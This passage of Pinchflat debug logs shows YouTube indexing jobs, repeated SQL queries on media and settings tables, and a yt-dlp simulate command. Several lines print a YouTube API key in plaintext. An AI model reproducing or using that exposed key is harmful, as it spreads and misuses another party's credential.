"yfw74KelJFk", "JXbldzWu-Nc", "3lXAPC-8IC4", "slVuVPAUNI4", "cwNSjMBnZYA", "N1CGq7zSjjM", "0lc3PF49yOQ", "rYivduQ5Xww", "5JfhSmrKK3A", "-4VeoAkKFg4", "Lztt0KYUpRU", "efwg7hwFbeU", "tdU3lMg5K2A", "O8PKhwdFXHk", "vEfPCID6jf4", "e2Kb6Z1oGrc", "7gTz_JmlYtQ", "H175G8NH2Cg", "3EoARmGYyVc", "ogYzdHzumeA", "nrioXZyigd8", "kq3Q7jlcDDQ", "8iprAik8kjk", "yRzc5_uGNO4", "7qTWoV6WUV4", "N1eo5bXtZeM", "QRS3uWoAHBk", "csKezW4PZ2w", "-sDDoW7YAow", "iEAShZ8TJCs", ...] 17:06:35.762 [debug] QUERY OK source="media_items" db=0.4ms idle=120.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 17:06:35.763 [debug] QUERY OK source="tasks" db=0.1ms idle=114.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800120, 12, ~U[2026-02-10 23:06:35Z], ~U[2026-02-10 23:06:35Z]] 17:06:35.763 [info] {"args":{"id":12},"id":3800081,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":232110,"event":"job:stop","queue_time":430747,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:36.532 [info] {"args":{"id":27},"id":3800082,"meta":{},"system_time":1770764796532723731,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:36.532 [info] {"args":{"id":28},"id":3800083,"meta":{},"system_time":1770764796532764266,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:36.533 [debug] QUERY OK source="sources" db=0.2ms idle=769.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 17:06:36.533 [debug] QUERY OK source="sources" db=0.2ms idle=769.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:06:36.533 [debug] QUERY OK source="settings" db=0.1ms idle=763.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:36.533 [debug] QUERY OK source="settings" db=0.2ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:36.533 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:06:36.533 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:06:36.533 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:36.533 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 17:06:36.533 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:36.533 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 17:06:36.534 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:36.534 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:06:36.534 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:36.534 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:06:36.655 [debug] QUERY OK source="media_items" db=0.6ms idle=121.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", "uASY_3OWFPY", "jUkex-blvkE", "bsfBxs53vBo", "czgTn7UK7A0", "Z_ubhyYgu5Y", "jqlqCIZ3Kfg", "LwMvVo0ui4Q", "fyWiYxOP-xM", "YwwBVKLaBp0", "i04y5n2oTsw", "08ET5Wwg57w", "MavRTdhksZg", "uF_9JGWVV4g", "tUKEzxlfmVE", "NLjiMjJyZoI", "pZaCe-7AEZU", "66Gvth4wHiA", "wBX5sniPBQw", "EQHuOwCGuy8", "RC2lR0Rle5k", ...] 17:06:36.657 [debug] QUERY OK source="media_items" db=0.7ms idle=122.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 17:06:36.657 [debug] QUERY OK source="tasks" db=0.1ms idle=123.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800121, 27, ~U[2026-02-10 23:06:36Z], ~U[2026-02-10 23:06:36Z]] 17:06:36.658 [info] {"args":{"id":27},"id":3800082,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":125176,"event":"job:stop","queue_time":548462,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:36.757 [debug] QUERY OK source="media_items" db=0.7ms idle=98.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", "WG8idKaX9KI", "evcXDcrjAvA", "hIxEkAZe6N0", "SPQrycmrGD8", "Mijk1_861qk", "WH-C47pZM9s", "jucDFrO89Ko", "XusyNT_k-1c", "l_1PLNAvmlM", "cQ3UWS1HekM", "srj2kfeuToE", "8CkgCYPe68Q", "XIj4PlAuLXQ", "lkOd_XPoz9M", "5_HY3RAIJys", "HCXBKttIXzc", "ueYYN--wEAI", "L6_Op38XjFo", "LDYL8zIgtZM", ...] 17:06:36.758 [debug] QUERY OK source="media_items" db=0.5ms idle=100.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 17:06:36.759 [debug] QUERY OK source="tasks" db=0.1ms idle=94.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800122, 28, ~U[2026-02-10 23:06:36Z], ~U[2026-02-10 23:06:36Z]] 17:06:36.759 [info] {"args":{"id":28},"id":3800083,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":226723,"event":"job:stop","queue_time":450713,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:37.533 [info] {"args":{"id":19},"id":3800084,"meta":{},"system_time":1770764797533693869,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:37.534 [debug] QUERY OK source="sources" db=0.1ms idle=774.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 17:06:37.534 [debug] QUERY OK source="settings" db=0.1ms idle=774.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:37.534 [debug] QUERY OK source="media_profiles" db=0.0ms idle=768.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:06:37.534 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:37.534 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 17:06:37.534 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:37.534 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:06:37.637 [debug] QUERY OK source="media_items" db=0.6ms idle=102.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", "h5Ya_mmFguc", "zfnBUM-LZNA", "T2r1B-dkbnk", ...] 17:06:37.638 [debug] QUERY OK source="settings" db=0.0ms idle=103.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:37.638 [debug] QUERY OK source="settings" db=0.0ms idle=103.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:37.638 [debug] Running yt-dlp command for action: get_media_attributes 17:06:37.639 [debug] QUERY OK source="settings" db=0.0ms idle=104.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:37.639 [debug] QUERY OK source="settings" db=0.0ms idle=104.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:37.639 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:37.639 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/3f/9e/3f9ec6721f27ce8c5f6198153cc9c55998162f4a0d428fe497964b50f590899c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:06:38.534 [info] {"args":{"id":16},"id":3800085,"meta":{},"system_time":1770764798534643356,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:38.534 [debug] QUERY OK source="sources" db=0.0ms idle=895.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 17:06:38.535 [debug] QUERY OK source="settings" db=0.0ms idle=895.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:38.535 [debug] QUERY OK source="media_profiles" db=0.0ms idle=895.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:06:38.535 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:38.535 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 17:06:38.535 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:38.535 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:06:38.609 [debug] QUERY OK source="media_items" db=0.6ms idle=74.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "7DKv5H5Frt0", 